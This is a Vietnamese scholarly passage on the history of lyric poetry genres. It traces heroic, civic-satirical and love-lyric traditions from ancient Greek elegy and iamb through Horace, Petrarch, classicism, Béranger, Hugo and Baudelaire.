“Epinhiki” không có các cấu trúc nhịp điệu bền vững. Nhưng trong những trường hợp khác thì các dấu hiệu thể loại trong lĩnh vực trữ tình thường tìm thấy ở Hy Lạp cổ đại không từ nội dung các bài hát, muộn hơn là từ thi ca, mà lại ở cấu tạo nhịp điệu – ngôn từ và ở nhạc đệm. Từ quan điểm này các bi ca (thơ hai câu, được cấu tạo từ thơ sáu nhịp) và thơ iamb (thơ iamb ba đoạn hay bốn đoạn) đã trở thành các hình thức thể loại phổ cập hơn cả và từ đó những bi ca hàm chứa trong mình nội dung cao cả và nghiêm trang còn thơ iamb thì mang nội dung vui nhộn, cười cợt, mỉa mai.
Nhưng những hình thức thể loại mang nhịp điệu xác định ấy có thể dùng để biểu đạt nội dung thể loại khác. Chẳng hạn ngay từ nửa đầu thế kỷ VII trước công nguyên chúng ta đã gặp thơ hai câu bi ca mang tính anh hùng của Kallin Ephexki và muộn hơn là những thi phẩm anh hùng rực rỡ của người khổ hạnh Tirtêi – người đã sử dụng những đoạn thơ như vậy. Điều đó có nghĩa là một hình thức thể loại này hay hình thức thể loại kia thời ấy đã có thể chứa đầy nội dung thể loại khác nhau. Trong trữ tình cổ đại Hy Lạp đã xuất hiện nhóm thể loại “dân tộc – lịch sử”.
Nhưng chính Tirtêi đã viết những bi ca khác – có nội dung “phong tục” trong đó ông đã giải thích và ca tụng nền tảng tổ chức của nhà nước Xpáctơ. Và người cùng thời của ông là Xôlông – nhà lập pháp Aten lừng danh đã sử dụng thơ hai câu bi ca và cả thơ iamb để biện giải có tính tôn giáo, đạo đức cho những cải cách kinh tế – luật pháp của mình mà trong đó ông đã gắng dung hòa quyền lợi giới quý tộc và bình dân. Ít lâu sau Phêôgnid từ Mêgara, một nhà quý tộc loại trừ nền bạo chính dân chủ ra khỏi thành bang quê hương của mình, đã sáng tác một ít bi ca biểu đạt những quan điểm của ông về những sự phân biệt đạo đức và bản chất của những người “tốt” (quý tộc” và những người “hèn hạ” (bình dân). Tất cả đó là trữ tình “phong tục” – công dân trong văn học cổ đại Hy Lạp.
Loại thơ ấy mang nội dung trữ tình triết học – “phong tục” là những suy tư không về trạng thái xã hội đương thời mà về trạng huống con người trong thế giới nói chung, về cái điều con người cần đối xử với cuộc sống như thế nào. Chẳng hạn như Ximônhid, Amorgxki hoặc Mimnerm đã phát biểu trong các bi ca và iamb của mình cái nhìn bi quan về sự thấm thoắt của cuộc sống con người, tràn đầy những hy vọng hão huyền, và sự đe doạ của bất kỳ sự bất hạnh, thất bại, bệnh tật, tuổi già, cái chết nào mà thánh thần không thể bảo vệ con người khỏi những điều đó và con người chỉ có thể lãng quên bằng sự kiếm tìm các khoái lạc. Và Xôlông trong bản bi ca lớn của mình “Với chính mình” cũng diễn đạt những cái nhìn tương tự.
Loại trữ tình châm biếm cũng đạt được sự phát triển không ít hơn trong văn học cổ đại Hy Lạp. Người đại diện xuất sắc của nó trong các iamb của mình là Arikhilôkh – vốn là con hoang và không có địa vị giai cấp, vì nghèo khổ mà phải trải qua cuộc sống phiêu bạt nặng nề của lính đánh thuê – đã viết ngoài các bài ngụ ngôn, là các bài thơ trữ tình, tràn đầy tiếng cười nhạo châm chọc trong quan hệ với bất kỳ loại người trịch thượng, người không may mắn nào trong đó kể cả đối với chính mình. Ghipônakt Ephexki là nhà thơ “iamb” không kém mạnh mẽ, cũng giống như Phêôgind bị đuổi khỏi thành phố quê hương nhưng đã tố cáo những tên bạo chúa, bọn giàu có, bọn giả vờ nghèo đói, vô liêm sỉ và hay nhạo báng. Ông đã viết những bài thơ nhại mang phong cách trữ tình cao, sử dụng ngôn từ đường phố.
Như vậy từ giữa thế kỷ VII đến cuối thế kỷ VI trước công nguyên, trong thời đại đấu tranh giai cấp gay go, thì nhóm các thể loại “phong tục” xuất thân từ trữ tình cổ đại Hy Lạp có sự phổ cập rộng rãi, to lớn hơn nhóm thể loại anh hùng.
Và cuối cùng có thể chính vì những đặc điểm bản chất của mình mà trữ tình trong thời đại ấy đã vượt lên trên kịch và trong mức độ lớn hơn vượt lên cả tự sự trong khi tìm ra cho mình các khuynh hướng tiểu thuyết.
Hoàn cảnh sống và thi ca của Phêôgind, Arikhilôkh, Ghipônakt cho thấy, trong mức độ thời đại bão táp của cách mạng kinh tế và các xung đột chính trị diễn ra khi đó ở Hy Lạp, một cá nhân riêng lẻ có thể làm chệch những tiêu chuẩn xã hội chung của cuộc sống, làm chệch không chỉ bề ngoài mà cả bên trong, có tính tư tưởng, làm mất lòng tin vào những nguyên tắc đạo đức cũ, tăng cường đức tin vào thần linh và trong quan hệ với điều đó hướng vào suy ngẫm khái quát về số phận cá nhân riêng lẻ và những vấn đề đạo đức riêng của nó. Hiển nhiên là trong thời đại ấy, trữ tình của những tình cảm và xúc động cá nhân đã xuất hiện đầu tiên và trong phần lớn trường hợp có tính chất tình yêu cá thể. Rõ ràng là trong đó đã hàm chứa sự ra đời của trữ tình tiểu thuyết.
Các đại biểu xuất sắc của nó là các nhà thơ tình yêu – Alkây và Xaphô và cả Anakrêont người phiêu bạt khắp triều đình của các bạo chúa. Từ Alkây đã để lại những dấu vết “các bài ca dưới cửa sổ” của ông là dạ khúc của chàng trai đang yêu. Xaphô đã sáng tác không chỉ những bài ca hôn lễ phần lớn mang tính chất nghi lễ truyền thống. Ở ông còn có các thi phẩm biểu đạt những tình cảm cá nhân thuần tuý, hướng vào người bạn đời nam hay nữ thường tràn đầy tình cảm yêu đương hoặc những nỗi buồn đau sầu muộn chia ly. Anakrêont là nhà thơ về tình yêu và niềm vui cuộc sống lừng danh hơn cả, ông làm thơ về chủ đề đó cho đến già, với giọng điệu vừa khâm phục vừa suồng sã mỉa mai.
Như vậy trong trữ tình cổ đại Hy Lạp đã hiện rõ tất cả bốn nhóm thể loại cơ bản mà chúng ta đã theo dõi trong sự phát triển của tự sự và kịch. Ở những người Hy Lạp cũng như về sau trong trữ tình của các dân tộc khác, các thể loại thần thoại đã tồn tại chỉ trong những giai đoạn sớm nhất của sự phát triển xã hội dân tộc. Ba nhóm thể loại khác, trong sự kết hợp và tương tác khác nhau đã phát triển nhiều hơn trong tất cả các giai đoạn muộn hơn của sự phát triển ấy cho đến tận thời đại chúng ta.
Chẳng hạn trong văn học La Mã, các nhà trữ tình lớn nhất đã phát triển trong các thi phẩm của mình phần lớn là các môtíp “phong tục” và tiểu thuyết. Những loại thứ nhất với sức mạnh lớn hơn cả được nổi bật trong sáng tác của Hôraxơ. Những đoản thi của ông thường viết về đề tài chính trị và xã hội, là sự suy tư buồn rầu (tính bi ca không thể hiện ở nhịp điệu mà ở trong nội dung ý nghĩa) về sự sa sút đạo đức công dân trong xã hội La Mã dưới sự cầm quyền của Apghút. Đôi khi nhà thơ sẵn sàng bảo vệ những nguyên tắc đạo đức và tôn giáo của những cải cách mà hoàng đế tuyên bố. Nhưng đôi khi ông hướng tới lý tưởng hóa sự hồn nhiên và trong sạch những phong tục cổ xưa của xã hội thị tộc. Ông khẳng định những người dân Xkif và những kẻ hoang dại sống trong những chiếc xe tải không biết quyền sở hữu ruộng đất, có sự trong sạch đạo đức to lớn hơn người La Mã với sự sa đọa và nhu nhược của họ.
Sự không bằng lòng thực tại xã hội gợi lòng mong muốn của Hôraxơ đến với suy tưởng triết học – đạo đức để gắng sức trả lời câu hỏi : con người cần sống như thế nào và cần yêu thích những lập trường đạo đức nào. “Lý tưởng xây dựng cuộc sống thanh bình – I.M. Trônxki viết về khía cạnh này trong sáng tác của nhà thơ – nhận được ở Hôraxơ cách biểu đạt cổ điển của mình. Trong cuộc chạy thi của thời gian, trong sự thay đổi của năm tháng, trong sự héo tàn của hoa cỏ và sóng gió của số phận con người, nhà thơ nhìn thấy bản cáo thị của sự ngắn ngủi cuộc đời. Cái chết nhợt nhạt gõ cửa như nhau vào căn lều của người nghèo và lâu đài của nhà giàu”.
“Thật tự do và hạnh phúc chỉ những ai khi hết ngày có thể nói rằng: “tôi đã sống” – và ngày mai không thể làm cái cũ không thành cái cũ… Cơ sở của đời sống sung sướng là trong sự yên tĩnh của tinh thần, biết giữ mức độ trong sự bình yên may mắn và sự kiên định vững vàng trong hoàn cảnh khó khăn”.
Những môtíp “phong tục” – điền viên phát triển mạnh mẽ hơn ở người đương thời của Hôraxơ là Tibulla. Những lợi ích của đời sống chính trị đương thời ít lôi cuốn ông nhưng chính những phong tục và sự kiện của nó lại thúc giục ông trốn chạy, tất nhiên là trong tư tưởng, ra khỏi đời sống thành phố. “Ông mơ tưởng – một nhà lịch sử văn học La Mã viết – về đời sống nông thôn yên bình như một thiên đường buồn bã nào đó cách xa những lo lắng và hồi hộp của thời hiện đại, coi thường chiến tranh và lợi nhuận. Lý tưởng là “cuộc sống không hoạt động” trong sự ấm no vừa đủ, hài lòng với cái ít, hờ hững với sự giàu sang, vinh quang và sự tôn kính… Quan điểm của Tibull thích thú hướng về quá khứ, về “thế kỷ vàng son”, về sự hồn nhiên lý tưởng hóa của phong tục và tín ngưỡng(1).
Katull và Prôperxi là những nhà trữ tình La Mã nổi tiếng nhất đã phát triển những môtíp tiểu thuyết trong các thi phẩm của mình. Người thứ nhất trong số họ thường ngẫu nhiên đã viết về những bài văn châm biếm và các bài thơ ngắn. Còn hệ đề tài trung tâm trữ tình của ông là tình yêu. Đó là chuỗi thi phẩm miêu tả lòng yêu mến cá nhân sâu sắc của ông với Lêxbia (bí danh của người tình, biểu hiện công khai có định hướng của nhà thơ theo truyền thống trữ tình Xaphô).
Người kế tục Katull sau ba mươi năm là Prôperxi với cuốn sách thơ tình yêu của mình “Kinphia” (đó cũng là bí danh của người tình bắt chước Katull). “Chính ở Prôperxi, – I.M. Trônxki viết, – tình yêu trở thành trung tâm cuộc sống đem lại cho bi ca La Mã màu sắc đặc biệt của nó. Kinphia là tình yêu vĩnh hằng, duy nhất, đầu tiên và cuội nguồn duy nhất của thi ca, thiếu nó sẽ không có thơ. Tình yêu “nặng nhọc” đối với Kinphia hay thay đổi, tự tiện, khó hiểu được miêu tả như tình cảm hoàn toàn lôi cuốn nhà thơ và bắt nó phải chịu nỗi đau… nhu nhược. Prôperxi hiếm khi nói về niềm vui của mình, đề tài chủ yếu của ông là nỗi đau đớn dục vọng, sự bột phát tức giận và ghen tuông, sự ngoan ngoãn nhẫn nhục của sự trung thành suốt đời – thậm chí đi theo quan tài – của người ái mộ, chờ đợi cái chết gần kề. Những biến cố trong tình yêu ấy không nhiều và đơn điệu – xích mích và hòa giải, sự xuất hiện của đối thủ, cảnh ly biệt, sự can hiệp của bạn bè”(1). Trước chúng ta là một tiểu thuyết thật sự, gắn với nó là phương diện cảm xúc chủ quan trong sự tái tạo trữ tình.
Trong văn học truyền miệng dân gian của các dân tộc Tây Âu thời kỳ đầu của trung thế kỷ – trong các bài ca của các nghệ sĩ Jongleur và Spilman mà sự nở rộ của chúng có liên quan tới thế kỷ X của kỷ nguyên chúng ta – thì rõ ràng là các môtíp thần thoại gắn với các hành động nghi lễ, đã là điều cơ bản. Nhưng đồng thời trong chúng đã xuất hiện một cách hiển nhiên những môtíp anh hùng, châm biếm và tình yêu. Những sự truy lùng của giáo hội đối với thơ ca dân gian bằng ngôn từ và nửa ngôn từ ấy là những chướng ngại lớn cho việc ghi chép và bảo tồn các văn bản phù hợp.
Thời kỳ xuất hiện những lý tưởng lịch thiệp, nhã nhặn trong giới hiệp sĩ phong kiến là thời kỳ phồn thịnh đặc sắc của thơ ca trữ tình. Đồng thời trên quê hương của kiểu văn học phong kiến mới ấy, ở Prôvan, trữ tình hiệp sĩ đã bắt đầu phát triển sớm hơn các tiểu thuyết hiệp sĩ. Tinh tế theo hình thức của mình, trong khi khai thác nhiều quy tắc thể thơ khác nhau, loại trữ tình ấy theo nội dung thể loại của mình là thể loại tiểu thuyết – tình yêu trong ý nghĩa hiện đại chân xác nhất của từ. Tình yêu của những người hát rong là tình yêu cá thể như ở Katull và Prôperxi nhưng đồng thời lại cao cả và hứng khởi hơn. Trong đó người phụ nữ – hầu như luôn là vợ người khác – đã trở thành đối tượng của tình yêu say đắm hoàn toàn trong sáng, độc đáo, “sùng phụng” – “vật thiêng liêng” của người tình mà anh ta hướng về nàng với “những sự sùng kính”, “cầu nguyện”, với lời cầu xin về lòng từ tâm, trong khi trải qua các giai đoạn tiếp cận khác nhau – giai đoạn hâm mộ thầm kín, sau đó là tôn thờ công khai, cuối cùng trở thành người tình nhưng không có nghĩa là đã hạnh phúc, mà thường chỉ là được ưa thích trước người khác. Song đôi khi những người ái mộ những quý bà này lại thích thú với thứ tình yêu vô vọng đã cho họ khả năng tận hưởng tiếng thở dài sầu não, thất vọng và thậm chí những giòng nước mắt đau xót yếu mềm của mình. Những bài ca trữ tình Kanxon, những bài mục ca và đặc biệt những bài ca Alba báo tin cho những người yêu về bình minh đang rạng – những hình thức thể loại phổ biến nhất của trữ tình tiểu thuyết hiệp sĩ của các nhà thơ trữ tình phương nam là sự đối sánh trực tiếp với sử thi tiểu thuyết hiệp sĩ – những tiểu thuyết trong nghĩa đen. Trữ tình tình yêu Prôvăngxơ có ảnh hưởng lớn đến sáng tác của các nhà thơ trữ tình miền Bắc nước Pháp, đến thơ ca nhã nhặn Đức và cả các trào lưu tương ứng trong trữ tình Ý và Tây Ban Nha.
Vào thế kỷ XII trữ tình đã phát triển một ít trong các lớp thị dân thành phố Bắc nước Pháp cũng như ở Đức. Hiển nhiên là các khuynh hướng thể loại trong nó đã khác, chủ yếu là những hiệp sĩ giáo huấn và châm biếm. Đại biểu nổi tiếng của trữ tình “miêu tả phong tục” trong giới ấy là nhà thơ Riubeph. Trong những tác phẩm thơ của mình ông miêu tả với sự châm biếm sâu cay sinh hoạt gia đình không đẹp mắt của các lớp người dưới đáy thành phố bị đau khổ bởi đói nghèo, túng thiếu. Đồng thời trong sáng tác của ông có những môtíp châm biếm xã hội nhằm chống lại các thày tu với thói đạo đức giả của chúng, chống lại các hiệp sĩ độc ác và bọn con buôn tham lam.
Các truyền thống thơ nhã nhặn Prôvăngxơ đã tìm được cho mình sự tiếp tục độc đáo và sáng chói trong sáng tác nhà thơ Phục hưng Ý – trong trữ tình của Đante và người cùng thời trẻ hơn ông là Petrarka. Trong tuyển tập thơ “Cuộc sống mới”, hoàn thành tác phẩm “của phong cách mới dịu dàng”, Đante đã biểu lộ tình yêu của mình với Bêatritsa – cô gái mà sự gặp gỡ với nàng đã làm rung động tâm hồn ông và chẳng bao lâu sau nàng đã chết. Tình yêu của nhà thơ – lớn hơn tình yêu cá nhân, riêng tư, lớn hơn tình yêu của các nhà thơ trữ tình phương Nam ở Pháp (thế kỷ 12, 13) đối với “những người đàn bà tuyệt mĩ” của mình, trong cách biểu đạt trữ tình của nó đã không ít những chỗ gặp gỡ chung.
Người kế tục Đante trong trữ tình tình yêu Ý là Petrarka, người đã sáng tác tuyển tập thơ “Kanxônhere” bao gồm phần lớn những bài xônê ngợi ca người tình Laura của mình. Cô ta là người đàn bà có chồng và mặc dù nhà thơ không bước đến với cô trong những quan hệ cá nhân mà chỉ sùng kính ngắm nhìn sắc đẹp của cô ta, tôn thờ thầm lặng cô từ xa. Chùm thơ của ông về quý bà Laura thực sự là “tiểu thuyết” trữ tình nhỏ, trong đó có “những bước thăng trầm” của mình – những cuộc gặp gỡ lúc ở chỗ này lúc ở chỗ khác trong những trạng thái tâm hồn khác nhau. Đối với Petrarka cũng như đối với Đante – tình yêu đó là cái cao thượng đạo đức, nâng cao phẩm giá, là tình cảm lãng mạn theo nhiệt hứng của mình, nhưng nó không hoàn toàn mất đi độ nhạy cảm. Tất cả điều đó nằm ở nửa đầu cuốn sách, mô tả Laura đang sống, còn ở phần hai cuốn sách, viết sau cái chết của nàng, người tình mất đi vẻ kiêu kỳ của mình và trở thành một người bảo trợ tưởng tượng hiền dịu khác của nhà thơ, cũng giống như Đante, tất cả đều biến nàng thành “thần thánh”. Thơ ca tình yêu Ý cuối thế kỷ XIII và nửa đầu thế kỷ XIV – đó là một trong những đỉnh cao của trữ tình tiểu thuyết trong toàn bộ văn học thế giới “Ngôn ngữ của Petrarka và tình yêu” (Puskin) sau đó đã có tiếng vang trong tâm hồn nhiều nhà thơ các thời đại và dân tộc khác nhau cho đến thời hiện đại của chúng ta, trong khi thừa nhận rằng tất nhiên mỗi một tác phẩm đều mang một nội dung lịch sử cụ thể, có tư tưởng dân tộc – thời đại đặc biệt. Không thể trình bày tất cả điều đó thật chi tiết ở đây. Nhưng quan trọng là chỉ ra sự hiện diện của dòng thể loại ấy trong văn học trữ tình. Các tuyển tập thơ tình yêu của Rôngxar, chẳng hạn như “Các xônát về Êlêna” của ông, các xônát của Sêchxpia, trữ tình tình yêu của Puskin. “Những bài thơ về người đàn bà diễm lệ” của Blôk đều có thể là những ví dụ cho điều đó.
Khi ở Pháp theo sau nhóm các nhà thơ gọi là “Lớp kiệt xuất” đã hình thành một trào lưu văn học rộng lớn hơn và được nhận thức về mặt lý luận – chủ nghĩa cổ điển, xây dựng trên cơ sở những lý tưởng của chế độ chuyên chế quý tộc tiến bộ – toàn dân tộc thì các nhà thơ của nó trong mức độ rất ít ở sáng tác trữ tình của mình đã trao cống vật cho thể loại tiểu thuyết. Đối với họ toàn bộ những vấn đề “phong tục” đã trở nên quan trọng hơn.
Nội dung như vậy thường nhận thấy ở các nhà thơ chủ nghĩa cổ điển, mới nhìn qua thật là lạ, thậm chí ở ở thể loại “cao cả ” như loại đoản thi ca tụng nghi lễ dân sự. Họ đã viết các bài ca tụng của mình theo những trường hợp khác nhau chẳng hạn nhân dịp hành quân chiến đấu và chiến thắng của quân đội nhà vua, đôi khi biểu hiện cho môtíp anh hùng trong đó. Nhưng họ đã sử dụng các lý do đó thường không chỉ để nói riêng là ca ngợi chiến thắng và những người chiến thắng mà còn để biểu lộ quan điểm của mình về các vấn đề chính trị chung mà trước hết là các vấn đề thiết chế dân sự của đất nước mình.
Chẳng hạn như đoạn tụng thi của Malerb trong phần lớn các trường hợp là sự biểu lộ chương trình chính trị của mình mà ông đã muốn trình ra trước cái nhìn trí tuệ của nhà chuyên chế này hay nhà độc tài khác – Henrikh IV hay Liuđôvik XIII. Nền tảng của chương trình này là lý tưởng của quân vương có học vấn, chăm lo đến lợi ích của thần dân và đất nước mình, biết đặt sự thống nhất quốc gia, thể chế vững bền và sức mạnh quân sự của nó lên trên tất cả. Nhà thơ thường hướng đến quân vương với những lời khẩn cầu như vậy thay mặt cho toàn dân, trong khi xem thường những mâu thuẫn xã hội bên trong xã hội Pháp. Ông đã muốn khắc phục chúng bằng sự nghiêm khắc của luật pháp mà tất cả đều phải phục tùng vào đó như nhau.
Những đoản tụng thi dân sự của chủ nghĩa cổ điển Nga, trước hết là các đoản tụng thi của Lômônôxôp trong phần lớn của mình đã có khuynh hướng “định chuẩn” “phong tục – lý tưởng hóa như vậy” Sự khác biệt chỉ ở chỗ Lômônôxôp đã nghĩ đồng thời không chỉ về sự thống trị của luật pháp và lòng trung thực của những người thi hành chúng mà còn về sự phát triển nước Nga trong quan hệ với công nghiệp và khoa học, về sự phồn vinh tương lai của văn hóa tinh thần và vật chất của nó dưới chính thể của những nhà độc tài thông minh có văn hóa mà ông tưởng tượng. Trong quan hệ này những đoản tụng thi của ông ở chừng mực đáng kể là “tiểu thuyết không tưởng” công dân.
Nhưng thực ra chủ nghĩa cổ điển cũng phong phú cả trữ tình châm biếm lên án các tệ nạn xã hội. Trên phương diện này, ở Pháp đặc biệt có ý nghĩa là sáng tác của Reniê – người đã bóc trần toàn bộ sự suy đồi đạo đức của các tầng lớp thống trị xã hội bắt nguồn từ quyền lực của đồng tiền – Reniê nghiêm khắc lên án thói ham danh lợi, ham muốn xa hoa, vây bọc quanh lũ cận thần và các tầng lớp quý tộc rộng lớn, các cấp tòa án xử án theo tiền hối lộ và giới tăng lữ bòn rút lợi nhuận từ việc phụng sự chúa trời của mình và cả những đại biểu văn chương, các nhà thơ sẵn sàng ca tụng các huy chương tặng thưởng bất luận cho ai và cái gì. Những môtíp tương tự muộn hơn đã được Boalô diễn đạt trong phần lớn “những bức thông điệp” của mình.
Trong số các nhà thơ chủ nghĩa cổ điển Nga, Xumarôkôv đã sáng tác các tác phẩm châm biếm trữ tình, hướng vào đả kích chủ yếu là sự phi lý, xằng bậy, sự đồi trụy của giới quý tộc và sự tố tụng thiên vị. Sự hợp nhất độc đáo của đoản tụng thi “phong tục” dân sự với văn châm biếm dân sự đã đem lại trong một số thơ ca của Derjavi sự đả kích đến độ tố cáo phẫn nộ ở một vài thi phẩm (như “Quan đại thần”), còn ở những tác phẩm khác thì chỉ có giọng cười cợt châm biếm (như “Phelixa”).
Các nhà thơ của chủ nghĩa cổ điển thường đối lập trong các thông điệp, bi ca, mục ca của mình sự nổi tiếng hồn nhiên và giản dị của đời sống nông thôn với đời sống đồi bại của các tầng lớp đặc quyền đặc lợi, do đó đã chuyên về thơ “miêu tả phong tục” điền viên. Từ tất cả điều đó có thể thấy các thể loại “phong tục” đã chiếm ưu thế trong thơ ca trữ tình của các nhà cổ điển trong cả ba trình độ thể loại – “cao cả”, “trung bình”, “thấp kém”.

3
Khi chế độ quân chủ chuyên chế đánh mất ý nghĩa tiến bộ toàn dân tộc của mình và xuất hiện các phong trào cách mạng thường gắn với các cuộc chiến tranh giải phóng dân tộc, dẫn tới thắng lợi của những nguyên tắc tư sản của tổ chức xã hội trong các nước khác nhau, trong thời gian và mức độ khác nhau, thì sáng tác trữ tình trong những thể loại khác nhau đã được kích thích phát triển mạnh mẽ.
Từ đầu cuộc cách mạng Pháp vĩ đại đến các sự kiện năm 1848, trữ tình “lịch sử – dân tộc” biểu lộ những tư tưởng giải phóng dân tộc khỏi ách xâm lược cũng như khát vọng dân chủ thực sự về tự do dưới chính quyền các giai cấp đặc quyền đặc lợi, đã mang ý nghĩa dẫn dắt.
Trong văn học Pháp, hai nội dung đó đã biểu lộ vừa sớm vừa mạnh mẽ hơn văn học các nước khác. Các nhà thơ đã biểu đạt những lý tưởng cách mạng những năm 1789 – 1795. A.Sennhie, R.đơ Lill, Đazorg, Radikur và những người khác đã sáng tác nhiều đoản tụng thi dân sự, những bài ca chính thức và các bài hát với những sắc thái khác nhau của nhiều tư tưởng nhưng luôn biểu lộ tư tưởng tự do và đấu tranh vì nó có tính toàn dân tộc và bóc trần toàn bộ trật tự pháp chế phong kiến với sự bạo ngược của nó và sự bất bình đẳng xã hội – “Bài ca tự do” và “Bài ca Macxâye” của R.đơ Lill, “Bài hát những người cách mạng” của Valkur, “Những trích đoạn” của Marơsal, những bài hát quần chúng nhân dân “Karmanhior” và “Xa-ra” là những ví dụ tiêu biểu nhất. Chúng được tiếp tục vào những năm 1810 trong một số bài hợp tác có tính tự do vui vẻ, tràn đầy lời kêu gọi hạnh phúc và sảng khoái. P.Bêrangiê có các bài “Chúa nhân từ”, “Bà” v.v… Trong những năm 1820 và đầu những năm 1830 chúng được tiếp tục với Huygô trong các thi phẩm dành cho cuộc đấu tranh giải phóng của những người Hy Lạp (“Lòng hăng hái”, “Kanorix” và những bài khác trong “Những bài thơ phương Đông”) cũng như trong một loạt bài thơ xuất hiện trong mối quan hệ với cách mạng 1830 (“Bài ca chính thức”, “Ngẫm nghĩ của người qua đường về các quốc vương”, “Vì người nghèo” v.v…).
Và trong thi ca Anh đầu thế kỷ XIX những môtíp “lịch sử – dân tộc” đôi khi vang lên mạnh mẽ. Trước hết đó là “Giai điệu Irland” của T.Mur – một chùm lớn các bài thơ xuất hiện từ 1807 đến 1834 mà trong những bài khá nhất nhà thơ đã ca ngợi cuộc đấu tranh giải phóng của những người Irland (Ái Nhĩ Lan) chống lại người Anh, tạo dựng những hình ảnh đầy cảm hứng của các binh sĩ chiến đấu vì sự tự do của Tổ quốc (“Nhớ về thanh danh của Braina dũng cảm”, “Ca sĩ trẻ” v.v…). Không kém ý nghĩa là thi ca của D.Bairơn với “Bài ca cho những người Luddit”, “Giai điệu châu Âu” tái hiện một cách trữ tình những thử thách nặng nề trong cuộc đấu tranh của những tín đồ Do Thái giáo cho nền độc lập của mình (“Đêm Nhêvafaia”, “Anh đã chấm dứt con đường sống” v.v…), với chùm thơ “Napôlêon” của ông “Đoản ca từ Pháp”, “Từ biệt Napôlêon” v.v…) và “Xônát về Siliun” và cuối cùng là với những bài ca đầu tiên của ông “Cuộc hành hương của Traild – Garold” mô tả quần chúng nhân dân nam Âu châu – những du kích quân Tây Ban Nha, Anbani, Hy Lạp có khả năng tiến hành cuộc đấu tranh giải phóng mình. Nhà thơ Đ. Kitx với tuyển tập thi ca hướng về thể loại kôxtiusko, đồng thời góp phần vào truyền thống thể loại ấy của trữ tình Anh. Những người kế tục trữ tình “lịch sử – dân tộc” Anh những năm 1810 – 1820 là các nhà thơ tham gia phong trào Hiến chương, đứng đầu là E. Đgiônxơn.
Trữ tình công dân yêu tự do của các nhà thơ lãng mạn Nga những năm 1810 – 1830 là Puskin, Rưlêev, Kiukhelbêker, V. Raevxki, A. Đoevxki, A.Pôlegiaev, M.Lermontov đều cùng đi vào cuộc vận động chung ấy trong thơ ca Âu châu cùng thời.
H.Hainơ gia nhập vào đó với “Những người lính” của mình và về sau là “Những người thợ dệt Xilêđi”.
Sự kế tục trữ tình “lịch sử dân tộc” nửa đầu thế kỷ XIX là thơ ca cách mạng Pháp 1848, về sau là 1871. Nổi bật lên là các nhà thơ như Ơ.Pôchiê, P.Đuypon, G. Lerua, G.Machiô và những người khác trong đó có nhà thơ trẻ S.Bôđơler. Họ đã sáng tác những bài ca khúc hát chính trị mang trong mình sự hướng về quần chúng nhân dân, kêu gọi họ đấu tranh không chỉ với thế giới phong kiến mà cả với thế giới tư sản, thường vì những lý tưởng của chủ nghĩa xã hội.
Gắn chặt với trữ tình cách mạng qua các ca khúc trong văn học các nước Âu châu khác là trữ tình châm biếm dân sự, vạch trần chính quyền phản động lúc đầu là của phong kiến còn sau đó của thế giới tư sản, vạch trần những cuộc đấu tranh phản động thường là hung ác, đẫm máu, vạch rõ thứ luật pháp chống nhân dân, thói ham danh lợi cùng sự bất lương của bè lũ tay sai, đầy tớ, phơi bày thói tự mãn đần độn của cuộc sống của giai cấp khá giả, đặc quyền đặc lợi. P.Bêrangiê là người sáng tác trữ tình “phong tục” châm biếm lớn nhất ở Pháp vào những năm 1820 – 1840. Trong tập hai “Những bài ca” của mình, sau đó trong “Những bài ca mới” và trong “Những bài ca chưa xuất bản”, muộn hơn nữa là trong “Những bài ca mới cuối cùng” nhà thơ đã tìm được một phong cách độc đáo của châm biếm chính trị xã hội, tràn đầy mỉa mai thâm độc tựa như biểu lộ trực tiếp tình cảm và tư tưởng của những người bình thường, thái độ của họ đối với chính quyền và cuộc sống của các tầng lớp thống trị. Những bài thơ của Bêrangiê như “Những nối dõi của giống quyền quý”, “Hầu tước đờ Karaba”, “Hoàng tử Navarxki”, “Ngài Ixkariontov”, “Tôi và các vị khong quen biết nhau nữa”, “Putan hay là bản phúc trình của ngày dân biểu”, “Hôn lễ của cha”, “Loài giun dế”, “Những con chim bồ câu của sở giao dịch” và nhiều bài khác đã thành những mẫu mực cổ điển của văn châm biếm cách mạng – dân chủ. G.Hainơ trong chùm thơ “Nước Đức” của mình đã tạo ra văn châm biếm xuất sắc về sự hoạt động mang tính Đức của kiểu cách quan liêu nửa phong kiến.
Dưới ảnh hưởng lớn của thơ ca Bêrangiê và Hainơ trong những năm 1850 – 1860, châm biếm chính trị Nga đã phát triển, mà tiêu biểu đặc biệt là trữ tình của các nhà thơ nhóm “Tia lửa” và “Tiếng còi” như V.Kurôtrkin, Đ.Minaev, P. Veinberg và những người khác.
Sự đăng quang của Napôlêon III và làn sóng chính trị phản động kế tiếp sau đó đã kích thích đội ngũ các nhà châm biếm, kể cả nhà thơ thiếu vững vàng trong tâm trạng xã hội của mình như S.Bôđơler với cuốn thơ “Những bông hoa Ác”. Trong phần đầu, có chùm “Nổi loạn” chứa đựng sự công kích tôn giáo hoặc vạch trần sự vô liêm sỉ của đạo đức tư sản và đồng thời có cả loạt bài thơ mô tả cuộc sống nặng nề của các tầng lớp dưới xã hội (bài “Bữa tiệc nhỏ của những người mua quần áo cũ” được đặc biệt nổi tiếng). Còn trong những phần sau của lần xuất bản mới “Những bông hoa Ác” (1868) đã đưa thêm vào hơn 30 bài thơ mới, nhà thơ lại biểu lộ lòng căm thù của mình vào thế giới tư sản.
V.Huygô đã trả lời với một sức mạnh lớn hơn về những sự thay đổi trong đời sống xã hội Pháp. Sau cuộc chính biến ông đã nhanh chóng bày tỏ ý kiến với chùm thơ lớn “Trừng phạt” bao gồm một số phần mang nhan đề mỉa mai nghiêm khắc: “Xã hội được cứu sống”, “Chế độ được khôi phục”, “Gia đình cộng sự”, “Tôn giáo lừng danh” v.v… Đó không phải là sự chế nhạo vui vẻ của Bêrangiê mà là sự vạch trần toàn bộ chế độ phản động, tràn đầy phẫn nộ bi kịch. Và hai mươi năm sau, đau lòng về sự đổ nát của nước Pháp dưới thời Xêda, cuộc phong tỏa Paris, những sự kiện Paris công xã và sự thất bại của nó, Huygô đã đáp lại điều đó bằng chùm thơ “Năm khủng khiếp” không ít phẫn nộ, châm biếm dữ dội.
Những khuynh hướng “phong tục” của trữ tình châu Âu đã xuất hiện không chỉ riêng trong châm biếm chính trị. Trong thơ ca nhiều nước khác đã xuất hiện cả những môtíp “phong tục” của nội dung điền viên, hoa tình ca hoặc bi ca, là sự hướng đến đối lập cuộc sống tự mãn, sa đọa, suy đồi đạo đức của những tầng lớp trên xã hội hay rộng hơn là sự lăng xăng không yên của toàn bộ đời sống các thành phần lớn với cuộc sống giản dị, tự do, yên tĩnh giữa thiên nhiên.
